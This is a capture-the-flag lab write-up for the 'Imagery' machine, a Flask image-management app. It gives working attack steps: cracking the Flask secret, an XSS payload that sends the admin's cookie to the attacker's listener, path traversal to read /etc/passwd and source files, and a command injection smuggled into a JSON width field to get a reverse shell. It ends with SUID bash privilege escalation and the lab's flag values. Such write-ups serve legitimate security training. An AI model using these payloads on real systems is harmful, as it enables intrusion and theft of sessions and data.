Imagery¶

Initial Scan¶

Discovered open port 8000/tcp on 10.10.11.88

Port 8000 is HTTP (Flask application).

Enumeration¶

The web application is a Flask-based image management tool. Session cookies are Flask signed cookies.

Decoding the session cookie:

flask-unsign --decode --cookie '<cookie>'

The cookie contains isAdmin: false. Brute-forcing the secret key:

flask-unsign --unsign --wordlist '/home/h0lm/wordlists/rockyou.txt' --no-literal-eval --cookie '<cookie>'

Foothold¶

XSS for Admin Cookie Theft¶

Since we cannot forge the admin cookie directly, an XSS vulnerability is used to steal the admin session. Injecting into a field that gets rendered to an admin user:

<img src="http://10.10.14.113/thisError.png" onerror="document.write('<img src=http:\/\/10.10.14.113:4444/c='+document.cookie+>')">

The admin's cookie is captured on our listener.

LFI via Admin Panel¶

With the admin cookie, the /admin/get_system_log endpoint is vulnerable to path traversal:

GET /admin/get_system_log?log_identifier=../../../../../etc/passwd HTTP/1.1
Cookie: session=<admin_cookie>

This reveals users web and mark on the system.

Reading Application Source¶

Reading /proc/self/cmdline reveals the app runs as user web:

/home/web/web/env/bin/python app.py

Using LFI to read /home/web/web/app.py and its imports (config.py, utils.py), the path to the database is found in config.py.

Downloading db.json reveals MD5 password hashes:

Cracking the testuser hash:

2c65c8d7bfbca32a3ed42596192384f6: iambatman

Command Injection in Visual Transform¶

Logging in as testuser:iambatman. The /apply_visual_transform endpoint has a command injection in the width parameter:

POST /apply_visual_transform
Content-Type: application/json
Cookie: session=<testuser_cookie>

{"imageId": "6c3da453-7584-43de-a6a3-be8433369f87","transformType":"crop","params":{"x":0,"y":0,"width":"300; bash exploit.sh ;a #","height":388}}

This gets a reverse shell as web.

Privilege Escalation¶

Checking for SUID binaries:

find / -perm /4000 2>/dev/null

/usr/bin/bash has the SUID bit set:

/usr/bin/bash -p -c "cat /home/mark/user.txt"

414edcc0cd15cae04c23ba084ae8530f

/usr/bin/bash -p -c "cat /root/root.txt"

86fd5e619073817d895e605efd40650a

Flags¶

user.txt: *** root.txt: ***